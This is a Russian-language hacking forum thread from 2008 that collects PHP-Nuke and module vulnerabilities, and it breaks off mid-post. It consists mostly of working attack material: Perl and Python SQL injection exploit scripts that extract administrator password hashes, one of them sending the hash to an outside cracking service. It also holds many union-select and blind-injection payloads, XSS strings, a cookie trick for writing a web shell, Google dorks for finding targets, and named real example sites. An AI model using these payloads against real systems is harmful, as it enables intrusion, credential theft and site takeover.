[ Обзор уязвимостей PHP-Nuke ]

iddqd · 14 Mar 2008

XSS in PHP-Nuke (eWeather module)

XSS

Vulnerable: eWeather module

Уязвимый код: в скрипте /modules/eWeather/index.php

PHP:

Строка 35: $zipCode=$chart; Строка 47: echo "<div align =\"center\"><h2>USA weather for zip code $zipCode</h2>";

Переменная "chart" не фильтруется.

PoC:
Code:
http://example.net/modules.php?name=eWeather&chart=[XSS]
Fix:

Строку 35 заменить на: "$zipCode=(int)$chart;"

by: NetJackal

iddqd · 23 Mar 2008

PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection

SQL Injection

Vulnerable: PHP-Nuke Platinum 7.6.b.5

Vuln script: dynamic_titles.php

Exploit:

Code:

#!/usr/bin/perl
#Inphex
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket;
use Switch;
#PHP-Nuke Platinum , Forums(Standart) - magic_quotes_gpc = OFF , SQL Injection
#nuke_users Structure:
#user_id 	name 	username 	user_email 	femail 	user_website 	user_avatar 	user_regdate 	user_icq 	user_occ 	user_from 	user_interests 	user_sig 	user_viewemail 	user_theme 	user_aim 	user_yim 	user_msnm 	user_password 	storynum 	umode 	uorder 	thold 	noscore 	bio 	ublockon 	ublock 	theme 	commentmax 	counter 	newsletter 	user_posts 	user_attachsig 	user_rank 	user_level 	broadcast 	popmeson 	user_active 	user_session_time 	user_session_page 	user_lastvisit 	user_timezone 	user_style 	user_lang 	user_dateformatuser_new_privmsg 	user_unread_privmsg 	user_last_privmsg 	user_emailtime 	user_allowhtml 	user_allowbbcode 	user_allowsmile 	user_allowavatar 	user_allow_pm 	user_allow_viewonline 	user_notify 	user_notify_pm 	user_popup_pm 	user_avatar_type 	user_sig_bbcode_uid user_actkey 	user_newpasswd 	last_ip 	user_color_gc 	user_color_gi 	user_quickreply 	user_allow_arcadepm 	kick_ban 	user_wordwrap 	agreedtos 	user_view_log 	user_effects 	user_privs 	user_custitle 	user_specmsg 	user_items 	user_trade 	points 	user_cash 	last_seen_blocker 	user_login_tries 	user_last_login_try 	user_gender 	user_birthday 	user_next_birthday_greeting
#Description:
#The file includes/dynamic_titles.php is vulnerable to SQL Injection - lines:  44 - 427
#What about PHP-Nukes' SQL Injection Protection?
#I could bypass its SQL Injection protection.
#If the file maintenance/index.php is on the server you can see if magic_quotes_gpc are turned off.
#You can of course edit the SQL Injection , file write is possible.
#
#Note: PHP-Nuke Platinum is very buggy,there are more bugs for sure(e.g. includes/nsbypass.php)
print "usage $0 -h localhost -p / -t nuke_users -c username -id 2\n\n";
$column = "username";
$table  = "nuke_users";
$uid    = 2;
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-id" => "uid");

$a = 0;
foreach  (@ARGV) {
	$a++;
	while (($k, $v) = each(%cm_n_)) {
		if ($_ eq $k) {
			${$v} = $ARGV[$a];
		}
	}
}
&getit("http://".$host.$path."modules.php?name=Forums&p=-1'union+select-1,".$column."+from+".$table."+where+user_id='".$uid."","<title>(.*?)<\/title>");
sub getit($$)
{
	$url = shift;
	$reg = shift;


	$ua = LWP::UserAgent->new;
    $urls = $url;
    $response = $ua->get($urls);
    $content = $response->content;

	if ($content=~m/$reg/) {
	    ($f,$s,$l) = split(">>",$1);
	    $s =~s/ Post //;
	    print $column.":".$s."\n";
	}
}

Elekt · 27 Apr 2008

PHP-Nuke version 8.1 CAPTCHA bypass

Tool that demonstrates how the CAPTCHA used in PHP-Nuke version 8.1 can be deciphered with 100% accuracy.

http://packetstormsecurity.org/0804-exploits/php_nuke_captcha.zip

OptimaPrime · 19 May 2008

PHP-Nuke Module EasyContent (page_id) SQL Injection Vulnerability

PHP-Nuke Module EasyContent (page_id) SQL Injection Vulnerability

Code:

-------------------------------------------------------------------------------
php-nuke modules EasyContent remote sql inj
-------------------------------------------------------------------------------
found =xoron
-------------------------------------------------------------------------------
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
-------------------------------------------------------------------------------
Example: http://eurowards.org/content/

not: password and username in title! colomb number 1

not2: Adam gibi bug bulunda dolanın ortalarda, istenilince ne kadar boş bug varsa böle post edilir milw0rma.
işe yarar bug nasıl hit yapıyor görmek istiyorsanız

http://www.milw0rm.com/author/721

sadece bi bug 16000+  hit sadece milw0rm;)

Herzmn kral benimdir!
-------------------------------------------------------------------------------

OptimaPrime · 23 May 2008

PHP-Nuke GaestebuchSQL Injection Exploit

Code:

#!/usr/bin/python 
# PHP-Nuke Gaestebuch Module SQL Injection Exploit 
# Coded By Shahin Ramezany For Fun 
# E-Mail : [email protected] 
 
import string 
import urllib 
import sys 
import re 
 
def Secuiran(): 
        print "\n" 
        print "#####################################################" 
        print "#                WwW.Secuiran.Com                   #" 
        print "# PHP-Nuke Gaestebuch Module SQL Injection Exploit  #" 
        print "#  Coded By Shahin . Ramezany (Vampire) For Fun     #" 
        print "# Keep It Priv8 && Never Post In Public Forum's     #" 
        print "#          E-Mail : [email protected]            #" 
        print "# Gr33tz To : Syst3m_F4ult ,Shinobi ,Samir ,Xtemix  #" 
        print "# Digilas ,Skuk ,Raptor &All Of Secuiran Member's   #" 
        print "#####################################################" 
        print "\n" 
 
 
 
 
#Call Banner 
Secuiran() 
 
print "\n[+] Target Host: e.g: http://127.0.0.1/phpnuke/" 
try: 
        host=raw_input("\nTarget Host (with http) : ") 
except KeyboardInterrupt: 
        print "\n[-] Program Terminated" 
        sys.exit() 
 
print "\n[+] Output File: e.e: secuiran.txt" 
 
try: 
        secuiran=raw_input("\nOutput File: ") 
except KeyboardInterrupt: 
        print "\n[-] Program Terminated" 
        sys.exit() 
 
print "\n[+] Trying  To Connect ...\n" 
 
#SQL Injection URL 
sql_inject=host+"/modules.php?name=gaestebuch_v22&func=edit&id=-1+union+all+select+1,1,1,aid,pwd+from+nuke_authors+where+radminsuper=1" 
 
response = urllib.urlopen(sql_inject).read() 
 
print "[+] Trying  To Inject Code ...\n" 
#Extract Admin User 
 
findall_users=re.compile('<td><input type="text" name="guestemail" size="20" maxlength="50" value="(\w+)"></td>').findall 
found_users=findall_users(response) 
 
#check found user length 
if len(found_users)==0: 
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " 
    sys.exit() 
 
#Extract Admin Hash 
response = urllib.urlopen(sql_inject).read() 
findall_hashs=re.compile('<textarea cols="50" rows="20" name="guesttext">(\w+)</textarea>').findall 
found_hashs=findall_hashs(response) 
if len(found_hashs)==0: 
    print "[-] Exploit Failed, Maybe Your Target Is Not Vulnerable " 
    sys.exit() 
 
 
#Crack The Hash 
md5 = string.join( found_hashs, '' ) 
print "[+] Trying To Crack The Hash ..." 
crack="http://tmto.org/server/proxy.php?action=search&div=result&host=MD5_1&arg="+md5 
result = urllib.urlopen(crack).read() 
cracked = re.compile("MD5_1_result,"+md5+" - (\w+)").findall 
if re.match(result,"MD5_1_result,"+md5+" - not found"): 
   print "[-] Can Not Crack" 
   #sys.exit() 
 
found=cracked(result) 
#Convert List To String 
cracked_md5 = string.join( found, '' ) 
 
#Print All Info 
Secuiran() 
print "\n[+] Host : ",host 
for i in range(len(found_users)): 
        print "\n[+] Admin User :  ",found_users[i] 
        print "\n[+] Admin Hash :  ",found_hashs[i] 
if (cracked_md5 == "not"): 
        print "\n[-] Sorry Can Not Crack Your Hash Go And Try More !!!" 
else: 
        print "\n[+] Hash Cracked Successfully : ",cracked_md5 
 
#Save All Info In File 
file = open(secuiran, "w") 
file.write("**************************************************WwW.Secuiran.Com**************************************************\n") 
file.write("\n") 
file.write("HOST :") 
file.write("       ") 
file.write(host) 
file.write("\n") 
file.write("\n") 
file.write("USER                        HASH\n") 
file.write("            ") 
file.write("\n") 
for i in range(len(found_users)): 
    file.write(found_users[i]) 
    file.write("                         ") 
    file.write(found_hashs[i]) 
    file.write("\n") 
file.write("\n") 
if (cracked_md5 == "not"): 
        file.write("\n") 
        file.write("I Can't Crack Your Hash") 
else: 
        file.write("Cracked :") 
        file.write("            ") 
        file.write("\n") 
        file.write(cracked_md5) 
        file.write("\n") 
        file.write("**************************************************WwW.Secuiran.Com**************************************************\n") 
file.close() 
print "\n[+] Successfully, Writed To ",secuiran," File ."

Mo4x · 14 Jul 2008

PHPNuke <= 8.0 And maybe Higher Blind Sql Injection Vulnerab

Code:

#!/usr/bin/python
#===============================================================================
==================#
#                                    This is a Priv8 Exploit.                                     #
#                                  Date: 23/02/2008 [dd,mm,yyyy]                                  #
#                                                                                                 #
#===============================================================================
==================#
#                 PHPNuke <= 8.0 And maybe Higher Blind Sql Injection Vulnerability #2            #
#                                    Response Analisys Method                                     #
#                                                                                                 #
#                                       Vendor:   http://www.phpnuke.org                          #
#                                     Severity:   Highest                                         #
#                                       Author:   The:Paradox                                     #
#===============================================================================
==================#                                                                                                
#              Server configuration requirments:                                                  #
#                magic_quotes_gpc = 0                                                             #  
#===============================================================================
==================#                                                                                                
#                                       Proud To Be Italian.                                      #
#===============================================================================
==================#
"""                                                                                              
                                           Related Codes:
                   mainfile.php; line 89;

if (!ini_get('register_globals')) {
  @import_request_variables("GPC", "");
}
             /Your_Account/index.php; line 1700;
switch($op) {
//   [..]
  case "activate":
  activate($username, $check_num);
  break;
//   [..]  
  }
                                 /Your_Account/index.php; line 161:

function activate($username, $check_num) {
  global $db, $user_prefix, $module_name, $language, $prefix;
  $username = filter($username, "nohtml", 1);
  $past = time()-86400;
  $db->sql_query("DELETE FROM ".$user_prefix."_users_temp WHERE time < $past");
  $sql = "SELECT * FROM ".$user_prefix."_users_temp WHERE username='$username' AND check_num='$check_num'";
  echo $sql;  
  $result = $db->sql_query($sql);

"""
#===============================================================================
==================#
# Proof Of Concept / Bug Explanation:                                                             #
#                                                                                                 #
# I'm too lazy to write explanation this time. Sql injection Mq=OFF in $check_num variable.       #
# Byte null bypasses all query string check.                                                      #
#                                                                                                 #
#===============================================================================
==================#
# Google Dork=> Powered by PHPNuke                                                        #
#===============================================================================
==================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#===============================================================================
==================#
#                                      Python Exploit Starts                                      #
#===============================================================================
==================#
import httplib, sys, time
print "\n#=========================================================#"
print "             PHPNuke <= 8.0 And Maybe Higher             "
print "          Blind Sql Injection Vulnerability Mq=0         "
print "                Response Analisys Method                 "
print "                                                         "
print "                Discovered By The:Paradox                "        
print "                                                         "
print " Usage:                                                  "
print " python %s [Target] [Path] [UsernameUnveryfied]          " % (sys.argv[0])
print "                                                         "  
print " Example:                                                "        
print " python %s 127.0.0.1 /Nuke/ Abdullah                     " % (sys.argv[0])
print " python %s www.host.com / Andrea                         " % (sys.argv[0])  
print "                                                         "  
print "                                                         "    
print "#=========================================================#\n"
if len(sys.argv)<=3:   sys.exit()
else:   print "[.]Exploit Starting."


target = sys.argv[1]
path = sys.argv[2]


prefix = "nuke_"
port = "80"


j=1
h4sh = ""
md5tuple = []

for k in range(48,58):  md5tuple.append(k) # 48->57 and 97->102
for k in range(97,103): md5tuple.append(k)
md5tuple.append('END')

# Result query >>>
#
# SELECT * FROM nuke_users_temp WHERE username='Nick' AND check_num='1%00' OR (SELECT IF((ASCII(SUBSTRING(pwd,1,1))=99),1,null) FROM nuke_authors WHERE radminsuper=1)='1'  
#

print "[.]Blind Sql Injection Starts.\n\nHash:"
while j <= 32:
  for i in md5tuple:
     if i == 'END':   sys.exit('[-]Exploit Failed.\n')

     conn = httplib.HTTPConnection(target,port)
     conn.request('GET', path + "modules.php?name=Your_Account&op=activate&username=" + sys.argv[3] + "&check_num=1%00'+OR+(SELECT+IF((ASCII(SUBSTRING(pwd," + str(j) + ",1))=" + str(i) + "),1,null)+FROM+" + prefix + "authors+WHERE+radminsuper=1)='1", {}, {"Accept": "text/plain", "lang":"english"})

     response = conn.getresponse()

     time.sleep(0.5)    
     if response.status == 404: sys.exit('[-]Error 404. Not Found.')    
     if response.read().find("New user verification number is invalid.") != -1:
        sys.stdout.write(chr(i))
        sys.stdout.flush()
        h4sh += chr(i)
        j += 1
        break;

print "\n\n[+]All Done.\n-=Paradoxe=-"

Dr.Z3r0 · 19 Jul 2008

Ковырял я когда то PHP Nuke 8.0. Вот парачка багов:

[XSS]
http://nuke/modules.php?name=Encyclopedia&file=search&eid=1%00"><script>alert()</script>

[XSS]
http://nuke/modules.php?name=Your_Account&op=logout
POST: redirect=1%00"><script>alert()</script>

[SQL-Inj] (POC)
http://nuke/admin.php
POST: aid=d%00'%0DUNION SELECT md5(1),'&pwd=1&random_num=80237&op=login

Mo4x · 28 Jul 2008

Уязвимая версия myPHPNuke 1.8.8_8rc2

Уязвимость xss в site.ru/memberslist.php в параметрах
search, letter, sortcol, sortdir, pagesize.

тут все на украинском я мало что понял о регенат тут

OptimaPrime · 4 Aug 2008

XSS:
POST-запрос на странице http://site/modules.php?name=Your_Account &op=new_user
Code:
"><script src=http://site/script.js>
В полях: gfx_check та random_num.

l-l00K · 31 Aug 2008

Ковырял PHP Nuke 8.0 нашел скулю, вродь не боян

Суть баги заключается в том, что в модуле News, в комментариях, данные об email при получении их из БД nuke не фильтрует и подставляет в запрос, что позволяет нам внедрить наш sql код

Exploit:

Для примера возьму сайт sat-port.info
Регистрируемся, редактируем наш аккаунт:
Code:
http://sat-port.info/modules.php?name=Your_Account&op=edituser
в поле Любой Email пишем:
Code:
[email protected]',1,2,(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1),4,5,6,7)/*
Берем любую новость где разрешено оставлять комментарии, к примеру эту:
Code:
http://sat-port.info/modules.php?name=News&file=article&sid=554
жмем "Комментировать" и пишем комментарий любого содержания, в результате появиться комментарий содержащий логин:хэш администратора

login999 · 3 Sep 2008

myPHPNuke < 1.8.8_8rc2 (artid) SQL Injection Vulnerability

Code:

############################################################

SQL Injection vulnerability in myPHPNuke

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2398/

Description: There is SQL Injection vulnerability in printfeature.php in
myPHPNuke.

SQL Injection:

http://site/printfeature.php?artid=-1%20union%20select%20null,null,aid,pwd,null,null,null,null%20from%20mpn_authors%20limit%200,1

With this query you will receive login and password (hash) of administrator.

Vulnerable versions are myPHPNuke < 1.8.8_8rc2. In last version the
additional filters were added, so it is not vulnerable to this attack. But
version 1.8.8_8rc2 is still vulnerable to SQL Injection and so limited SQL
Injection attack is possible (without using spaces and brackets).

############################################################

# milw0rm.com [2008-09-02]

Содрано с milw0rm.com/exploits/6347

bons · 6 Sep 2008

изучал модуль Mediacatalog v3.1 в PHP Nuke 8.0

Code:

modules.php?name=Mediacatalog&pa=list_pag&cid=-1+union%0Aselect+aid,pwd+from+nuke_authors

и еще

Code:

modules.php?name=Mediacatalog&pa=Listcat&cidcat=-1+union%0Aselect+1,2,aid,3,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,pwd,24,25+from+nuke_authors--
modules.php?name=Mediacatalog&pa=Newsreliz&catnewid=-1+union%0Aselect+1,2,3,4,5,6,7,8,9,10,11,12,pwd,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,aid,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+nuke_authors--

l-l00K · 4 Dec 2008

SQL-Injection PHP-Nuke <= 8.0

SQL-Injection In PHP-Nuke <= 8.0(Module Reviews)

/modules/Reviews/index.php
Фрагмент уязвимого кода:

PHP:

$uname = filter($cookie[1], "nohtml");     $id = intval($id);     $score = intval($score);     if (is_user($user)) {         $krow = $db->sql_fetchrow($db->sql_query("SELECT karma FROM ".$user_prefix."_users WHERE username='$uname'"));         if ($krow['karma'] == 2) {             $db->sql_query("insert into ".$prefix."_reviews_comments_moderated values (NULL, '$id', '$uname', now(), '$comments', '$score')");             include("header.php");             title(""._MODERATEDTITLE."");             OpenTable();             echo "<center>"._COMMENTMODERATED."";             echo "<br><br><a href=\"modules.php?name=$module_name&rop=showcontent&id=$id\">"._MODERATEDTITLE."</a>";             CloseTable();             include("footer.php");             die();         } elseif ($krow['karma'] == 3) {             Header("Location: modules.php?name=$module_name&rop=showcontent&id=$id");             die();         }     }     $db->sql_query("insert into ".$prefix."_reviews_comments values (NULL, '$id', '$uname', now(), '$comments', '$score')");

Тут присутствуют сразу 2 sql-inj, в select и в insert запросах, после раскадировки кук, происходит слэширование данных, но в данном фрагменте кода данные из $cookie[1] попадают в ф-цию filter

PHP:

function filter($what, $strip="", $save="", $type="") {     if ($strip == "nohtml") {         $what = check_html($what, $strip); //        $what = htmlentities(trim($what), ENT_QUOTES);         // If the variable $what doesn't comes from a preview screen should be converted         if ($type != "preview" AND $save != 1) {             $what = html_entity_decode($what, ENT_QUOTES);         }     }     if ($save == 1) {         $what = check_words($what);         $what = check_html($what, $strip);         if (!get_magic_quotes_gpc()) {         $what = addslashes($what); }     } else {         $what = stripslashes(FixQuotes($what,$strip));         $what = check_words($what);         $what = check_html($what, $strip);     }     return($what); }

а оттуда в ф-цию check_html

PHP:

function check_html ($str, $strip="") {     /* The core of this code has been lifted from phpslash */     /* which is licenced under the GPL. */     include("config.php");     if ($strip == "nohtml")     $AllowableHTML=array('');     $str = stripslashes($str);     $str = eregi_replace("<[[:space:]]*([^>]*)[[:space:]]*>",'<\\1>', $str);     // Delete all spaces from html tags .     $str = eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?[[:space:]]*([^\" >]*)[[:space:]]*\"?[^>]*>",'<a href="\\1">', $str);     // Delete all attribs from Anchor, except an href, double quoted.     $str = eregi_replace("<[[:space:]]* img[[:space:]]*([^>]*)[[:space:]]*>", '', $str);     // Delete all img tags     $str = eregi_replace("<a[^>]*href[[:space:]]*=[[:space:]]*\"?javascript[[:punct:]]*\"?[^>]*>", '', $str);     // Delete javascript code from a href tags -- Zhen-Xjell @ http://nukecops.com     $tmp = "";     while (ereg("<(/?[[:alpha:]]*)[[:space:]]*([^>]*)>",$str,$reg)) {         $i = strpos($str,$reg[0]);         $l = strlen($reg[0]);         if ($reg[1][0] == "/") $tag = strtolower(substr($reg[1],1));         else $tag = strtolower($reg[1]);         if ($a = $AllowableHTML[$tag])         if ($reg[1][0] == "/") $tag = "</$tag>";         elseif (($a == 1) || ($reg[2] == "")) $tag = "<$tag>";         else {             # Place here the double quote fix function.             $attrb_list=delQuotes($reg[2]);             // A VER             //$attrb_list = ereg_replace("&","&",$attrb_list);             $tag = "<$tag" . $attrb_list . ">";         } # Attribs in tag allowed         else $tag = "";         $tmp .= substr($str,0,$i) . $tag;         $str = substr($str,$i+$l);     }     $str = $tmp . $str;     return $str;     exit;     /* Squash PHP tags unconditionally */     $str = ereg_replace("<\?","",$str);     return $str; }

где экранирующие бэкслэши успешно удаляются, поэтому становится возможным внедрить наш sql код, через скулю в select данные вывести не получится, поэтому юзаем скулю в insert
Идем в
/modules.php?name=Reviews&rop=showcontent&id=1
выбираем любую рецензию, жмем "Поместить комментарий"
в куки кидаем
Code:
base64_encode(yourid:yournick',1,(select concat(aid,0x3a,pwd) from nuke_authors),3)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Жмем submit, в результате мы получим login:hash админа

Зато через скулю в select при file_priv можно залить шелл, кидаем в куки:
Code:
base64_encode(yourid:yournick' union select 0x3c3f20706870696e666f28293b203f3e into outfile '/tmp/theme.php'/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Тут путь можно не раскрывать, лить в tmp, а затем просто проинклудить залитый шелл через templetes, для этого идем в /modules.php?name=Your_Account&op=chgtheme
правим сурс, там где написано имя темы, в моем случае value=RusNuke2003 пишем:
Code:
<option value="/../../../../../../../tmp/" >RusNuke2003
сохраняем, получаем шелл

l-l00K · 14 Dec 2008

Уязвимости модулей PHP-NUKE

Уязвимый продукт: PHP-NUKE module Pages
Версия: 1.0
Дорк: Pages © inurl:/modules.php?name=Pages

SQL-injections

Уязвимость в файле: index.php

В модуле отсутствует какая-либо защита от sql-inj, поэтому не вижу смысла приводить фрагменты уязвимого кода, уязвимы все параметры
Code:
/modules.php?name=Pages&pa=list_pag&cid=-2%0aunion+select+aid,pwd+from+nuke_authors%23
/modules.php?name=Pages&pa=showpage&pid=11'%0aunion+select+1,2,aid,pwd,5,6,7,8,9,0,11,12+from+nuke_authors%23
/modules.php?name=Pages&pa=list_pages_categories&cid=11'%0aunion+select+1,aid,pwd,4+from+nuke_authors%23
/modules.php?name=Pages&cid=11'%0aunion+select+1%23
/modules.php?name=Pages&pid=11'%0aunion+select%201,2%23

l-l00K · 15 Dec 2008

Уязвимый продукт: PHP-NUKE module video stream
Версия: 4.53
Дорк: inurl:name=Video_Stream

SQL-injections

Уязвимость в файле: watch.php

PHP:

$id = $_GET['id']; $request = $_GET['request']; if($id == "request") { // Gets the data of request video **FOR ADMIN** $result = $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$request'"); $row = $db->sql_fetchrow($result); } else { // Check if category is adult category and requires user to accept disclaimer or if required ofr the user to be registered adultcategory($id); // Add user point for veiwing video userpointsVS(1); // adds a view to the video $result = $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$id'"); $row = $db->sql_fetchrow($result); $v = $row['views']; $v++; $result = $db->sql_query("UPDATE ".$prefix."_video_stream SET views='$v' WHERE id='$id'"); // Gets the data of that video $result = $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$id'"); $row = $db->sql_fetchrow($result); }

Как видим здесь присутствуют сразу несколько sql-inj
Примеры запросов:
Code:
/modules.php?name=Video_Stream&page=watch&id=11'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23
/modules.php?name=Video_Stream&page=watch&id=request&request=11'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23
Уязвимость в файле: broken.php

PHP:

if($_POST['Submit']) { OpenTable(); $usernameb = $_POST['username']; $user_emailb = $_POST['user_email']; $result = $db->sql_query("INSERT INTO ".$prefix."_video_stream_broken (username, email, brokenvidid) VALUES('$usernameb', '$user_emailb', '$id') ");

Пример запроса:
Code:
POST /phpnuke/modules.php?name=Video_Stream&page=broken&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Video_Stream&page=broken&id=1&vidname=3
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
username=',if(1=1,BENCHMARK(1559911,MD5(NOW())),1),1)/*&user_email=ad%40a.ru&Submit=Submit
Уязвимость в файле: search.php
В этом модуле присуствуют сразу несколько sql-inj

Примеры запросов:
1. /phpnuke/modules.php?name=Video_Stream&page=search
в поле search:
Code:
44' union/**/select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/*
2.
Code:
POST /phpnuke/modules.php?name=Video_Stream&page=search HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Video_Stream&page=search
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
PHPSESSID=1960d2f98b8657b6e5bdf140c2f8c8ec&orderby=0&categoryby=31' union/**/select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16%23&sortvids=Sort
Уязвимость в файле: comment.php

PHP:

$commenttopost = $_POST['comment']; // Check if no comment if($commenttopost == "") { die(""._NOCOMMENTENT.""); } $date = date("h:i A dS M Y"); $username = $looker; // Strips out HTML and Censored Words filter_text($commenttopost, 'nohtml'); // ********************************** userpointsVS(2); $result = $db->sql_query("INSERT INTO ".$prefix."_video_stream_comments (vidid, user, date, comment) VALUES ('$id', '$username', '$date', '$EditedMessage') ");

в куки кидаем:
Code:
id=СУЩЕСТВУЮЩИЙ_ID', 'admin', '12:02 AM 15th Dec 2008',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1))/*
В результате получим комментарий содержащий aid:hash администратора

l-l00K · 16 Dec 2008

Уязвимый продукт: PHP-NUKE module auktion
Версия: 2.0
Дорк: inurl:modules.php?name=auktion

SQL-injections

В модуле отсутствует какая-либо защита от sql-inj, уязвимости присуствуют почти во всех файлах

Примеры запросов:

Code:

/modules.php?name=auktion&file=viewitem&item=4%0aunion+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21
/modules.php?name=auktion&file=catlist&catid=29'%0aunion+select+1,2,3,4,5,6,7%23
/modules.php?name=auktion&file=searchit&query='%0aunion+select+1,2,3,4,5,6,7/*
/modules.php?name=auktion&file=edititem&item=-3'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%23

Code:

POST /modules.php?name=auktion&file=edititem HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=auktion&file=edititem&item=3
Cookie: lang=english; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDo6MDowOjA6MDo6NDA5Ng%3D%3D; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
name=auktion&file=update&item=3&desc=4',title=(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1)/*

l-l00K · 19 Dec 2008

Уязвимый продукт: PHP-NUKE module NukeJokes
Версия: 2.2
Дорк: inurl:modules.php?name=NukeJokes

SQL-injections

Уязвимость в файле: index.php

PHP:

function CatView($cat, $page){ ... $result = sql_query("SELECT jokecid, catname FROM ".$prefix."_jokes_categories WHERE jokecid='$cat'", $dbi);

Данные из параметра cat попадают в запрос без каких либо преобразований
Пример запроса:
Code:
/modules.php?name=NukeJokes&func=CatView&cat=-7'%0aunion+select+1,2%23
PHP:

function JokeView($jokeid){ ... $result = sql_query("SELECT author, name, date, cat, joke, hits, ratingtot, ratings FROM ".$prefix."_jokes WHERE jokeid='$jokeid'", $dbi);

Данные из параметра jokeid попадают в запрос без каких либо преобразований
Пример запроса:
Code:
/modules.php?name=NukeJokes&func=JokeView&jokeid=-1'%0aunion+select+1,2,3,4,5,6,7,8%23
Уязвимость в файле: send.php

PHP:

function send($jokeid, $sendername, $senderemail, $toname, $toemail){ global $sitename, $nukeurl, $prefix, $dbi, $module_name, $stop; include("header.php"); include("config.php"); checkemail($toemail); if (!$stop) { $result = sql_query("SELECT name from ".$prefix."_jokes where jokeid='$jokeid'", $dbi); list($name) = sql_fetch_row($result, $dbi); $subject = ""._SUBJECT." $sitename"; $message = ""._HELLO." $toname:\n\n"._YOURFRIEND." $sendername "._CONSIDERED."\n\n\n$name\n\n"._URL.": $nukeurl/modules.php?name=$module_name&func=JokeView&jokeid=$jokeid\n\n"._YOUCANREAD." $sitename\n$nukeurl"; $toemail = str_replace(" ","",$toemail); mail($toemail, $subject, $message, "From: \"$sendername\" <$senderemail>\nX-Mailer: PHP/" . phpversion());

Уязвимость в параметре jokeid, т.к данные из столбца name отправляются на email, при таком запросе:
Code:
POST /modules.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/modules.php?name=NukeJokes&file=send&jokeid=1608
Cookie: TRACKID=7b45bd0b2a560da542a5eb4fc22512c6; lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
name=NukeJokes&file=send&func=send&jokeid=-1'/**/union select concat(aid,0x3a,pwd) from nuke_authors limit 0,1/*&sendername=aaa&senderemail=aaa%40mail.ru&toname=bbb&toemail=aaa%40mail.ru
Мы получим aid:hash администратора на указаное нами мыло

Уязвимость в файле: search.php

PHP:

function search($q, $cat){ global $module_name, $prefix, $bgcolor1, $bgcolor2, $dbi, $prefix; include("header.php"); if($cat==0){ $cats = " "; }else{ $cats = " cat=".$cat." AND "; } ModuleSearch(); ... $search = sql_query("SELECT jokeid, author, date, name, cat, hits, ratings FROM ".$prefix."_jokes WHERE".$cats."(name LIKE '%$q%' OR joke LIKE '%$q%')", $dbi);

Уязвимость в параметрах cat и q
Пример запроса:
Code:
/modules.php?name=NukeJokes&file=search&func=search&q=x&cat=7%0aunion+select+1,2,3,4,5,6,7%23
Уязвимость в файле: comments.php

PHP:

function JokesAddCom($jokeid, $author, $comment){ global $prefix, $dbi, $bgcolor1, $module_name, $bgcolor2; $author = FixQuotes(nl2br(filter_text($author))); $comment = FixQuotes(nl2br(filter_text($comment))); sql_query("INSERT into ".$prefix."_jokes_comments VALUES(NULL, '$author' ,'$comment' , '$jokeid')", $dbi);

в ф-ции, filter_text удаляются хтмл тэги, затем данные попадают в ф-цию FixQuotes

PHP:

function FixQuotes ($what = "") { while (stristr($what, "\\\\'")) { $what = str_replace("\\\\'","'",$what); } return $what; }

Для чего здесь была использована эта ф-ция непонятно, при magic_quotes_gpc=off мы без труда можем внедрить наш sql код, для этого
выбираем любую шутку, жмем добавить комментарий, в куки кидаем:
Code:
